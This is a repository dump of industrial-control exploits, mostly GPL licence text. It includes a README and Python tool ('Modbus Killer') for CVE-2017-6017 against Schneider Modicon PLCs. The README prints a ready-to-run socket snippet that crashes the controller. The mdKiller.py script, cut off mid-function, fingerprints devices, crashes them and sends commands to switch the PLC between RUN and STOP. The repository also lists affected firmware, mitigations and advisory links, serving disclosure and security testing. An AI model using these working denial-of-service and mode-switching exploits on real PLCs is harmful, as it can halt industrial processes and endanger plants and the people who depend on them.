├── LICENSE ├── README.md └── schneider ├── CVE-2017-6017 ├── LICENSE.md ├── README.md ├── SEVD-2017-048-02_Modicon_Controllers_V3.0.pdf ├── mdKiller.py └── screenshot │ ├── m340.png │ └── m580.jpg ├── CVE-2017-7575 ├── README.md ├── password_m221.py ├── schneider_password_leak.rb └── screenshot │ └── poc_1.png └── others ├── README.md └── negationModbus.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ics_exploits 2 | Exploit funcionales para pruebas de seguridad en entornos industriales 3 | -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/LICENSE.md: -------------------------------------------------------------------------------- 1 | ### GNU GENERAL PUBLIC LICENSE 2 | 3 | Version 3, 29 June 2007 4 | 5 | Copyright (C) 2007 Free Software Foundation, Inc. 6 | 7 | 8 | Everyone is permitted to copy and distribute verbatim copies of this 9 | license document, but changing it is not allowed. 10 | 11 | ### Preamble 12 | 13 | The GNU General Public License is a free, copyleft license for 14 | software and other kinds of works. 15 | 16 | The licenses for most software and other practical works are designed 17 | to take away your freedom to share and change the works. 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Definitions. 79 | 80 | "This License" refers to version 3 of the GNU General Public License. 81 | 82 | "Copyright" also means copyright-like laws that apply to other kinds 83 | of works, such as semiconductor masks. 84 | 85 | "The Program" refers to any copyrightable work licensed under this 86 | License. Each licensee is addressed as "you". "Licensees" and 87 | "recipients" may be individuals or organizations. 88 | 89 | To "modify" a work means to copy from or adapt all or part of the work 90 | in a fashion requiring copyright permission, other than the making of 91 | an exact copy. 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The output from running a 165 | covered work is covered by this License only if the output, given its 166 | content, constitutes a covered work. This License acknowledges your 167 | rights of fair use or other equivalent, as provided by copyright law. 168 | 169 | You may make, run and propagate covered works that you do not convey, 170 | without conditions so long as your license otherwise remains in force. 171 | You may convey covered works to others for the sole purpose of having 172 | them make modifications exclusively for you, or provide you with 173 | facilities for running those works, provided that you comply with the 174 | terms of this License in conveying all material for which you do not 175 | control copyright. Those thus making or running the covered works for 176 | you must do so exclusively on your behalf, under your direction and 177 | control, on terms that prohibit them from making any copies of your 178 | copyrighted material outside their relationship with you. 179 | 180 | Conveying under any other circumstances is permitted solely under the 181 | conditions stated below. Sublicensing is not allowed; section 10 makes 182 | it unnecessary. 183 | 184 | #### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 185 | 186 | No covered work shall be deemed part of an effective technological 187 | measure under any applicable law fulfilling obligations under article 188 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 189 | similar laws prohibiting or restricting circumvention of such 190 | measures. 191 | 192 | When you convey a covered work, you waive any legal power to forbid 193 | circumvention of technological measures to the extent such 194 | circumvention is effected by exercising rights under this License with 195 | respect to the covered work, and you disclaim any intention to limit 196 | operation or modification of the work as a means of enforcing, against 197 | the work's users, your or third parties' legal rights to forbid 198 | circumvention of technological measures. 199 | 200 | #### 4. Conveying Verbatim Copies. 201 | 202 | You may convey verbatim copies of the Program's source code as you 203 | receive it, in any medium, provided that you conspicuously and 204 | appropriately publish on each copy an appropriate copyright notice; 205 | keep intact all notices stating that this License and any 206 | non-permissive terms added in accord with section 7 apply to the code; 207 | keep intact all notices of the absence of any warranty; and give all 208 | recipients a copy of this License along with the Program. 209 | 210 | You may charge any price or no price for each copy that you convey, 211 | and you may offer support or warranty protection for a fee. 212 | 213 | #### 5. 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Inclusion of a covered work 245 | in an aggregate does not cause this License to apply to the other 246 | parts of the aggregate. 247 | 248 | #### 6. Conveying Non-Source Forms. 249 | 250 | You may convey a covered work in object code form under the terms of 251 | sections 4 and 5, provided that you also convey the machine-readable 252 | Corresponding Source under the terms of this License, in one of these 253 | ways: 254 | 255 | - a) Convey the object code in, or embodied in, a physical product 256 | (including a physical distribution medium), accompanied by the 257 | Corresponding Source fixed on a durable physical medium 258 | customarily used for software interchange. 259 | - b) Convey the object code in, or embodied in, a physical product 260 | (including a physical distribution medium), accompanied by a 261 | written offer, valid for at least three years and valid for as 262 | long as you offer spare parts or customer support for that product 263 | model, to give anyone who possesses the object code either (1) a 264 | copy of the Corresponding Source for all the software in the 265 | product that is covered by this License, on a durable physical 266 | medium customarily used for software interchange, for a price no 267 | more than your reasonable cost of physically performing this 268 | conveying of source, or (2) access to copy the Corresponding 269 | Source from a network server at no charge. 270 | - c) Convey individual copies of the object code with a copy of the 271 | written offer to provide the Corresponding Source. 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But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or 331 | updates for a work that has been modified or installed by the 332 | recipient, or for the User Product in which it has been modified or 333 | installed. Access to a network may be denied when the modification 334 | itself materially and adversely affects the operation of the network 335 | or violates the rules and protocols for communication across the 336 | network. 337 | 338 | Corresponding Source conveyed, and Installation Information provided, 339 | in accord with this section must be in a format that is publicly 340 | documented (and with an implementation available to the public in 341 | source code form), and must require no special password or key for 342 | unpacking, reading or copying. 343 | 344 | #### 7. Additional Terms. 345 | 346 | "Additional permissions" are terms that supplement the terms of this 347 | License by making exceptions from one or more of its conditions. 348 | Additional permissions that are applicable to the entire Program shall 349 | be treated as though they were included in this License, to the extent 350 | that they are valid under applicable law. If additional permissions 351 | apply only to part of the Program, that part may be used separately 352 | under those permissions, but the entire Program remains governed by 353 | this License without regard to the additional permissions. 354 | 355 | When you convey a copy of a covered work, you may at your option 356 | remove any additional permissions from that copy, or from any part of 357 | it. (Additional permissions may be written to require their own 358 | removal in certain cases when you modify the work.) You may place 359 | additional permissions on material, added by you to a covered work, 360 | for which you have or can give appropriate copyright permission. 361 | 362 | Notwithstanding any other provision of this License, for material you 363 | add to a covered work, you may (if authorized by the copyright holders 364 | of that material) supplement the terms of this License with terms: 365 | 366 | - a) Disclaiming warranty or limiting liability differently from the 367 | terms of sections 15 and 16 of this License; or 368 | - b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | - c) Prohibiting misrepresentation of the origin of that material, 372 | or requiring that modified versions of such material be marked in 373 | reasonable ways as different from the original version; or 374 | - d) Limiting the use for publicity purposes of names of licensors 375 | or authors of the material; or 376 | - e) Declining to grant rights under trademark law for use of some 377 | trade names, trademarks, or service marks; or 378 | - f) Requiring indemnification of licensors and authors of that 379 | material by anyone who conveys the material (or modified versions 380 | of it) with contractual assumptions of liability to the recipient, 381 | for any liability that these contractual assumptions directly 382 | impose on those licensors and authors. 383 | 384 | All other non-permissive additional terms are considered "further 385 | restrictions" within the meaning of section 10. If the Program as you 386 | received it, or any part of it, contains a notice stating that it is 387 | governed by this License along with a term that is a further 388 | restriction, you may remove that term. If a license document contains 389 | a further restriction but permits relicensing or conveying under this 390 | License, you may add to a covered work material governed by the terms 391 | of that license document, provided that the further restriction does 392 | not survive such relicensing or conveying. 393 | 394 | If you add terms to a covered work in accord with this section, you 395 | must place, in the relevant source files, a statement of the 396 | additional terms that apply to those files, or a notice indicating 397 | where to find the applicable terms. 398 | 399 | Additional terms, permissive or non-permissive, may be stated in the 400 | form of a separately written license, or stated as exceptions; the 401 | above requirements apply either way. 402 | 403 | #### 8. Termination. 404 | 405 | You may not propagate or modify a covered work except as expressly 406 | provided under this License. Any attempt otherwise to propagate or 407 | modify it is void, and will automatically terminate your rights under 408 | this License (including any patent licenses granted under the third 409 | paragraph of section 11). 410 | 411 | However, if you cease all violation of this License, then your license 412 | from a particular copyright holder is reinstated (a) provisionally, 413 | unless and until the copyright holder explicitly and finally 414 | terminates your license, and (b) permanently, if the copyright holder 415 | fails to notify you of the violation by some reasonable means prior to 416 | 60 days after the cessation. 417 | 418 | Moreover, your license from a particular copyright holder is 419 | reinstated permanently if the copyright holder notifies you of the 420 | violation by some reasonable means, this is the first time you have 421 | received notice of violation of this License (for any work) from that 422 | copyright holder, and you cure the violation prior to 30 days after 423 | your receipt of the notice. 424 | 425 | Termination of your rights under this section does not terminate the 426 | licenses of parties who have received copies or rights from you under 427 | this License. If your rights have been terminated and not permanently 428 | reinstated, you do not qualify to receive new licenses for the same 429 | material under section 10. 430 | 431 | #### 9. Acceptance Not Required for Having Copies. 432 | 433 | You are not required to accept this License in order to receive or run 434 | a copy of the Program. Ancillary propagation of a covered work 435 | occurring solely as a consequence of using peer-to-peer transmission 436 | to receive a copy likewise does not require acceptance. However, 437 | nothing other than this License grants you permission to propagate or 438 | modify any covered work. These actions infringe copyright if you do 439 | not accept this License. Therefore, by modifying or propagating a 440 | covered work, you indicate your acceptance of this License to do so. 441 | 442 | #### 10. Automatic Licensing of Downstream Recipients. 443 | 444 | Each time you convey a covered work, the recipient automatically 445 | receives a license from the original licensors, to run, modify and 446 | propagate that work, subject to this License. You are not responsible 447 | for enforcing compliance by third parties with this License. 448 | 449 | An "entity transaction" is a transaction transferring control of an 450 | organization, or substantially all assets of one, or subdividing an 451 | organization, or merging organizations. If propagation of a covered 452 | work results from an entity transaction, each party to that 453 | transaction who receives a copy of the work also receives whatever 454 | licenses to the work the party's predecessor in interest had or could 455 | give under the previous paragraph, plus a right to possession of the 456 | Corresponding Source of the work from the predecessor in interest, if 457 | the predecessor has it or can get it with reasonable efforts. 458 | 459 | You may not impose any further restrictions on the exercise of the 460 | rights granted or affirmed under this License. For example, you may 461 | not impose a license fee, royalty, or other charge for exercise of 462 | rights granted under this License, and you may not initiate litigation 463 | (including a cross-claim or counterclaim in a lawsuit) alleging that 464 | any patent claim is infringed by making, using, selling, offering for 465 | sale, or importing the Program or any portion of it. 466 | 467 | #### 11. Patents. 468 | 469 | A "contributor" is a copyright holder who authorizes use under this 470 | License of the Program or a work on which the Program is based. The 471 | work thus licensed is called the contributor's "contributor version". 472 | 473 | A contributor's "essential patent claims" are all patent claims owned 474 | or controlled by the contributor, whether already acquired or 475 | hereafter acquired, that would be infringed by some manner, permitted 476 | by this License, of making, using, or selling its contributor version, 477 | but do not include claims that would be infringed only as a 478 | consequence of further modification of the contributor version. For 479 | purposes of this definition, "control" includes the right to grant 480 | patent sublicenses in a manner consistent with the requirements of 481 | this License. 482 | 483 | Each contributor grants you a non-exclusive, worldwide, royalty-free 484 | patent license under the contributor's essential patent claims, to 485 | make, use, sell, offer for sale, import and otherwise run, modify and 486 | propagate the contents of its contributor version. 487 | 488 | In the following three paragraphs, a "patent license" is any express 489 | agreement or commitment, however denominated, not to enforce a patent 490 | (such as an express permission to practice a patent or covenant not to 491 | sue for patent infringement). To "grant" such a patent license to a 492 | party means to make such an agreement or commitment not to enforce a 493 | patent against the party. 494 | 495 | If you convey a covered work, knowingly relying on a patent license, 496 | and the Corresponding Source of the work is not available for anyone 497 | to copy, free of charge and under the terms of this License, through a 498 | publicly available network server or other readily accessible means, 499 | then you must either (1) cause the Corresponding Source to be so 500 | available, or (2) arrange to deprive yourself of the benefit of the 501 | patent license for this particular work, or (3) arrange, in a manner 502 | consistent with the requirements of this License, to extend the patent 503 | license to downstream recipients. "Knowingly relying" means you have 504 | actual knowledge that, but for the patent license, your conveying the 505 | covered work in a country, or your recipient's use of the covered work 506 | in a country, would infringe one or more identifiable patents in that 507 | country that you have reason to believe are valid. 508 | 509 | If, pursuant to or in connection with a single transaction or 510 | arrangement, you convey, or propagate by procuring conveyance of, a 511 | covered work, and grant a patent license to some of the parties 512 | receiving the covered work authorizing them to use, propagate, modify 513 | or convey a specific copy of the covered work, then the patent license 514 | you grant is automatically extended to all recipients of the covered 515 | work and works based on it. 516 | 517 | A patent license is "discriminatory" if it does not include within the 518 | scope of its coverage, prohibits the exercise of, or is conditioned on 519 | the non-exercise of one or more of the rights that are specifically 520 | granted under this License. You may not convey a covered work if you 521 | are a party to an arrangement with a third party that is in the 522 | business of distributing software, under which you make payment to the 523 | third party based on the extent of your activity of conveying the 524 | work, and under which the third party grants, to any of the parties 525 | who would receive the covered work from you, a discriminatory patent 526 | license (a) in connection with copies of the covered work conveyed by 527 | you (or copies made from those copies), or (b) primarily for and in 528 | connection with specific products or compilations that contain the 529 | covered work, unless you entered into that arrangement, or that patent 530 | license was granted, prior to 28 March 2007. 531 | 532 | Nothing in this License shall be construed as excluding or limiting 533 | any implied license or other defenses to infringement that may 534 | otherwise be available to you under applicable patent law. 535 | 536 | #### 12. No Surrender of Others' Freedom. 537 | 538 | If conditions are imposed on you (whether by court order, agreement or 539 | otherwise) that contradict the conditions of this License, they do not 540 | excuse you from the conditions of this License. If you cannot convey a 541 | covered work so as to satisfy simultaneously your obligations under 542 | this License and any other pertinent obligations, then as a 543 | consequence you may not convey it at all. For example, if you agree to 544 | terms that obligate you to collect a royalty for further conveying 545 | from those to whom you convey the Program, the only way you could 546 | satisfy both those terms and this License would be to refrain entirely 547 | from conveying the Program. 548 | 549 | #### 13. Use with the GNU Affero General Public License. 550 | 551 | Notwithstanding any other provision of this License, you have 552 | permission to link or combine any covered work with a work licensed 553 | under version 3 of the GNU Affero General Public License into a single 554 | combined work, and to convey the resulting work. The terms of this 555 | License will continue to apply to the part which is the covered work, 556 | but the special requirements of the GNU Affero General Public License, 557 | section 13, concerning interaction through a network will apply to the 558 | combination as such. 559 | 560 | #### 14. Revised Versions of this License. 561 | 562 | The Free Software Foundation may publish revised and/or new versions 563 | of the GNU General Public License from time to time. Such new versions 564 | will be similar in spirit to the present version, but may differ in 565 | detail to address new problems or concerns. 566 | 567 | Each version is given a distinguishing version number. If the Program 568 | specifies that a certain numbered version of the GNU General Public 569 | License "or any later version" applies to it, you have the option of 570 | following the terms and conditions either of that numbered version or 571 | of any later version published by the Free Software Foundation. If the 572 | Program does not specify a version number of the GNU General Public 573 | License, you may choose any version ever published by the Free 574 | Software Foundation. 575 | 576 | If the Program specifies that a proxy can decide which future versions 577 | of the GNU General Public License can be used, that proxy's public 578 | statement of acceptance of a version permanently authorizes you to 579 | choose that version for the Program. 580 | 581 | Later license versions may give you additional or different 582 | permissions. However, no additional obligations are imposed on any 583 | author or copyright holder as a result of your choosing to follow a 584 | later version. 585 | 586 | #### 15. Disclaimer of Warranty. 587 | 588 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 589 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 590 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT 591 | WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT 592 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 593 | A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND 594 | PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE 595 | DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR 596 | CORRECTION. 597 | 598 | #### 16. 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It is safest to 629 | attach them to the start of each source file to most effectively state 630 | the exclusion of warranty; and each file should have at least the 631 | "copyright" line and a pointer to where the full notice is found. 632 | 633 | 634 | Copyright (C) 635 | 636 | This program is free software: you can redistribute it and/or modify 637 | it under the terms of the GNU General Public License as published by 638 | the Free Software Foundation, either version 3 of the License, or 639 | (at your option) any later version. 640 | 641 | This program is distributed in the hope that it will be useful, 642 | but WITHOUT ANY WARRANTY; without even the implied warranty of 643 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 644 | GNU General Public License for more details. 645 | 646 | You should have received a copy of the GNU General Public License 647 | along with this program. If not, see . 648 | 649 | Also add information on how to contact you by electronic and paper 650 | mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands \`show w' and \`show c' should show the 661 | appropriate parts of the General Public License. Of course, your 662 | program's commands might be different; for a GUI interface, you would 663 | use an "about box". 664 | 665 | You should also get your employer (if you work as a programmer) or 666 | school, if any, to sign a "copyright disclaimer" for the program, if 667 | necessary. For more information on this, and how to apply and follow 668 | the GNU GPL, see . 669 | 670 | The GNU General Public License does not permit incorporating your 671 | program into proprietary programs. If your program is a subroutine 672 | library, you may consider it more useful to permit linking proprietary 673 | applications with the library. If this is what you want to do, use the 674 | GNU Lesser General Public License instead of this License. But first, 675 | please read . -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/README.md: -------------------------------------------------------------------------------- 1 | # [Tool] Modbus Killer 2 | ## [Schneider] Dos Modicon via Modbus Injection 3 | 4 | PLC Modicon line ("m340" & "m580") suffer a denial of services upon receiving a simple request to the "modbus" protocol. 5 | 6 | 7 | [*] Exploit Title: "Dos Modicon via Modbus Injection" 8 | [*] CVE: CVE-2017-6017 9 | [*] CVSS Base Score v3: 8.6 / 10 10 | [*] CVSS Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H 11 | [*] Date: 2/01/2018 12 | [*] Vendor: Schneider Electric 13 | [*] Devices(tested): PLC Modicon m340 (v2.0 > v2.8) & modicom m580 14 | 15 | 16 | ![m340](screenshot/m340.png) ![m580](screenshot/m580.jpg) 17 | 18 | ### Exploit: 19 | 20 | ``` 21 | import socket 22 | 23 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24 | client.connect(("192.168.0.101",502)) 25 | client.send( "\x44\x62\x00\x00\x00\x06\x00\x5a\x00\x20\x00\x00") 26 | client.close() 27 | 28 | ``` 29 | 30 | *** 31 | 32 | ## Affected Product(s) 33 | 34 | • M340 CPUs with firmware prior to V2.9 35 | • M580 CPUs with firmware prior to V2.3 36 | • Quantum CPUs with firmware prior to V3.52 37 | • Premium CPUs all versions 38 | • M1E CPUs all versions 39 | 40 | ## Tested in: 41 | 42 | [+] m430 43 | BMX P34 2020 v2.0 (TELEMECANIQUE) 44 | BMX P34 2020 v2.1 45 | BMX P34 2020 v2.2 46 | ... -- 47 | BMX P34 2020 v2.4 48 | BMX P34 2020 v2.5 49 | BMX P34 2020 v2.6 50 | BMX P34 2020 v2.7 51 | BMX P34 2020 v2.8 52 | 53 | [+] m580 54 | 55 | BME P58 2020 v01.04 56 | BME P58 2020 v02.20 57 | BME P58 4040 v02.20 58 | BME P58 4040 v02.12 59 | 60 | 61 | ## MITIGATIONS 62 | Schneider Electric has released fixes for the vulnerability that can be downloaded from: 63 | 64 | M340: https://www.schneider-electric.fr/fr/search/V2.9?filters=CAT_PRD_DOC_FIRMUPD 65 | M580: https://www.schneider-electric.us/en/product-range/62098-modicon-m580-paccontroller/ 66 | Quantum: https://www.schneider-electric.com/en/download/document/OFS_3_50_2905/ 67 | 68 | 69 | # TOOL: "Modbus Killer" 70 | 71 | ## Quick start 72 | 73 | usr@pwn:~$ git clone https://github.com/ezelf/ics_exploits.git 74 | usr@pwn:~$ cd ics_exploits/schneider/CVE-2017-6017/ 75 | usr@pwn:~$ python mdKiller.py 76 | 77 | ## help 78 | 79 | usage: mdKiller.py [-h] [-v] [--sid SLAVEID] --host HOST [--port PORT] 80 | [--check] [--kill] [--mode {RUN,STOP}] 81 | 82 | [+] DOS Modicon via Modbus Injection. ( CVE-2017-6017 ) 83 | 84 | optional arguments: 85 | -h, --help show this help message and exit 86 | -v, --version show program's version number and exit 87 | --sid SLAVEID Slave ID (default 00) 88 | --host HOST Host 89 | --port PORT Port (default 502) 90 | --check Show device info 91 | --kill Check availability 92 | --mode {RUN,STOP} RUN/STOP, PLC 93 | 94 | [+] Demo: mdKiller.py --sid 00 --host --check/kill 95 | 96 | *** 97 | 98 | 99 | ### RESEARCHER 100 | Jos Wetzel (Midnight Blue) 101 | Younes Dragoni (Nozomi Networks) 102 | Ezequiel Fernandez (Dreamlab Technologies) 103 | Luis Francisco Martin Liras (SUPPRESS group at the University of Léon) 104 | Zhang Xiaoming (CNCERT) 105 | Zhang Jiawei (CNCERT) 106 | Sun Zhonghao (CNCERT) 107 | Luo Bing from (CNCERT) 108 | 109 | Referencias: 110 | https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-048-02_Modicon_Controllers_V3.0.pdf&p_Doc_Ref=SEVD-2017-048-02 111 | https://www.us-cert.gov/ics/advisories/ICSA-17-054-03 112 | -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/SEVD-2017-048-02_Modicon_Controllers_V3.0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/industrialarmy/ics_exploits/1746b8d157422502424d71708ddbc9312d66af71/schneider/CVE-2017-6017/SEVD-2017-048-02_Modicon_Controllers_V3.0.pdf -------------------------------------------------------------------------------- /schneider/CVE-2017-6017/mdKiller.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import time 3 | import socket 4 | import sys 5 | import argparse 6 | 7 | banner = ''' 8 | __ __ _______ ______ _______ __ __ _______ 9 | | |_| || || | | _ || | | || | 10 | | || _ || _ || |_| || | | || _____| 11 | | || | | || | | || || |_| || |_____ 12 | | || |_| || |_| || _ | | ||_____ | 13 | | ||_|| || || || |_| || | _____| | 14 | |_| |_||_______||______| |_______||_______||_______| 15 | ___ _ ___ ___ ___ _______ ______ 16 | | | | || | | | | | | || _ | 17 | | |_| || | | | | | | ___|| | || 18 | | _|| | | | | | | |___ | |_||_ 19 | | |_ | | | |___ | |___ | ___|| __ | 20 | | _ || | | || || |___ | | | | 21 | |___| |_||___| |_______||_______||_______||___| |_| 22 | 23 | Modbus Killer v2 24 | ''' 25 | 26 | bannerInfo = ''' 27 | # Exploit Title: \t"DOS Modicon via Modbus Injection" 28 | # CVE: \t\tCVE-2017-6017 29 | # CVSS Base Score v3: \t8.6 / 10 30 | # CVSS Vector String:\tAV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H 31 | # Date: \t\t2/01/2018 32 | # Vendor: \t\tSchneider Electric 33 | # Devices vuln: 34 | • M340 CPUs with firmware prior to V2.9 35 | • M580 CPUs with firmware prior to V2.3 36 | • Quantum CPUs with firmware prior to V3.52 37 | • Premium CPUs all versions 38 | • M1E CPUs all versions 39 | 40 | ''' 41 | 42 | parser = argparse.ArgumentParser(prog='mdKiller.py', 43 | description=' [+] DOS Modicon via Modbus Injection. ( CVE-2017-6017 )', 44 | epilog='[+] Demo: mdKiller.py --sid 00 --host --check/kill', 45 | version="2") 46 | 47 | parser.add_argument('--sid', dest="SlaveID", help='Slave ID (default 00)', default="00") 48 | parser.add_argument('--host', dest="HOST", help='Host',required=True) 49 | parser.add_argument('--port', dest="PORT", help='Port (default 502)',type=int,default=502) 50 | 51 | parser.add_argument('--check',dest="CHECK", help='Show device info ',action="store_true") 52 | parser.add_argument('--kill', dest="KILL", help='Check availability',action="store_true") 53 | parser.add_argument('--mode', dest="MODE", help='RUN/STOP, PLC', choices=['RUN', 'STOP']) 54 | 55 | 56 | args = parser.parse_args() 57 | 58 | HST = args.HOST 59 | SID = str(args.SlaveID) # now hex (00 to ff). switch to int (0 to 255) !!!! 60 | portModbus = args.PORT 61 | checkDev = bool(args.CHECK) 62 | killerPLC = bool(args.KILL) 63 | 64 | newMode = args.MODE 65 | 66 | class Colors: 67 | BLUE = '\033[94m' 68 | GREEN = '\033[32m' 69 | RED = '\033[0;31m' 70 | DEFAULT = '\033[0m' 71 | ORANGE = '\033[33m' 72 | WHITE = '\033[97m' 73 | BOLD = '\033[1m' 74 | BR_COLOUR = '\033[1;37;40m' 75 | 76 | _modbus_obj_description = { 77 | 0: "VendorName", 78 | 1: "ProductCode", 79 | #2: "MajorMinorRevision", 80 | 2: "Revision", 81 | 3: "VendorUrl", 82 | 4: "ProductName", 83 | 5: "ModelName", 84 | #6: "UserApplicationName", 85 | 6: "User App Name", 86 | 7: "Reserved", 87 | 8: "Reserved", 88 | 9: "Reserved", 89 | 10: "Reserved", 90 | 128: "Private objects", 91 | 255: "Private objects" 92 | } 93 | def noConnection(): 94 | print Colors.BLUE+"\n // ------------------------------------------------- //" 95 | print Colors.RED+"\t [!] Fail Connection " 96 | print Colors.RED+"\t [!] GAME OVER" 97 | print Colors.GREEN+"\t [+] Device DOWN" 98 | print Colors.BLUE+" // ------------------------------------------------- //\n\n"+Colors.DEFAULT 99 | sys.exit(0) 100 | 101 | func_code = '2b' # Device Identification 102 | meiType = '0e' # MODBUS Encapsulated Interface - 0e / 0d 103 | read_code = '03' # 01 / 02 / 03 / 04 104 | obj_id = '00' 105 | 106 | # --MBAP 7 Bytes -------------------------------------------------------- # 107 | # Return a string with the modbus header 108 | def create_header_modbus(length,unit_id): 109 | trans_id = "4462" 110 | proto_id = "0000" 111 | protoLen = length.zfill(4) 112 | unit_id = unit_id 113 | 114 | return trans_id + proto_id + protoLen + unit_id.zfill(2) 115 | 116 | modbusRequest = create_header_modbus('5',SID) 117 | modbusRequest += func_code 118 | modbusRequest += meiType 119 | modbusRequest += read_code 120 | modbusRequest += obj_id 121 | 122 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 123 | client.settimeout(3) 124 | 125 | def setMode(MOD,HH,PP): 126 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 127 | client.connect((HH,int(PP))) 128 | 129 | modbusSetMode = create_header_modbus('5',SID) 130 | modbusSetMode += '5a' 131 | modbusSetMode += '01' 132 | 133 | if (MOD).lower() == "run": 134 | modbusSetMode += '40' 135 | modbusSetMode += 'ff' 136 | modbusSetMode += '00' 137 | 138 | client.send(modbusSetMode.decode("hex")) 139 | modResponse = client.recv(2048) 140 | #print " [dbg] Req: RUN" 141 | 142 | elif (MOD).lower() == "stop": 143 | modbusSetMode += '41' 144 | modbusSetMode += 'ff' 145 | modbusSetMode += '00' 146 | client.send(modbusSetMode.decode("hex")) 147 | modResponse = client.recv(2048) 148 | #print " [dbg] Req: STOP" 149 | 150 | else: 151 | pass 152 | 153 | client.close() 154 | 155 | def get_obj_DevInfo(reqMD): 156 | try: 157 | # me podre conectar ? 158 | client.connect((HST,int(portModbus))) 159 | except Exception, e: 160 | if str(e) == "timed out": 161 | noConnection() 162 | else: 163 | print Colors.GREEN+" [+] "+str(e)+Colors.DEFAULT 164 | noConnection() 165 | 166 | client.send(reqMD.decode('hex')) 167 | 168 | try: 169 | # get_obj_DevInfo() 170 | # Tendremos respuesta ? 171 | MbResponse = client.recv(2048) 172 | except Exception, e: 173 | # game over 174 | if str(e) == "timed out": 175 | print Colors.GREEN+str(e)+Colors.DEFAULT 176 | 177 | print Colors.BLUE+"\n // ------------------------------------------------- //" 178 | print Colors.RED+"\t [+] GAME OVER" 179 | print Colors.GREEN+"\t [+] Device DOWN !!!" 180 | print Colors.BLUE+" // ------------------------------------------------- //\n\n"+Colors.DEFAULT 181 | else: 182 | print Colors.GREEN+str(e)+Colors.DEFAULT 183 | sys.exit(0) 184 | 185 | aframe = MbResponse.encode('hex') 186 | 187 | print Colors.BLUE+' [+] Host: \t\t' +Colors.RED+HST+Colors.DEFAULT 188 | print Colors.BLUE+' [+] Port: \t\t' +Colors.ORANGE+str(portModbus)+Colors.DEFAULT 189 | print Colors.BLUE+' [+] Slave ID: \t\t' +Colors.RED+aframe[12:14]+Colors.DEFAULT 190 | 191 | respCode = aframe[14:16] 192 | totalObjs = aframe[26:28] 193 | firstObj = 28 194 | 195 | try: 196 | try: 197 | objTot = aframe[26:28] 198 | nObjeto = int(objTot,16) 199 | except: 200 | #objTot = '0' 201 | nObjeto = int('0',10) 202 | 203 | print Colors.BLUE+' [+] TotalObj: \t\t'+Colors.RED+str(nObjeto)+"\n"+Colors.DEFAULT 204 | pInicial = 28 205 | 206 | for i in xrange(0,nObjeto): 207 | pInicial+=4 208 | longitud = aframe[pInicial-2:pInicial] 209 | longitud = int(longitud,16) 210 | 211 | valueStr = aframe[pInicial:pInicial+longitud *2 ] 212 | objVal = valueStr.decode("hex") 213 | 214 | try: 215 | obj_nm =_modbus_obj_description[i] 216 | except: 217 | obj_nm ='objName X' 218 | 219 | print Colors.BOLD+ " [*] "+Colors.GREEN+ obj_nm +': \t'+Colors.ORANGE+objVal+Colors.DEFAULT 220 | pInicial+=longitud*2 221 | 222 | except Exception, e: 223 | print Colors.BR_COLOUR+Colors.RED+'\n [!] no device info' + Colors.DEFAULT 224 | print e 225 | client.close() 226 | 227 | print "\n" 228 | 229 | def plcKiller(pduInjection): 230 | reqst = {} 231 | lenPdu = 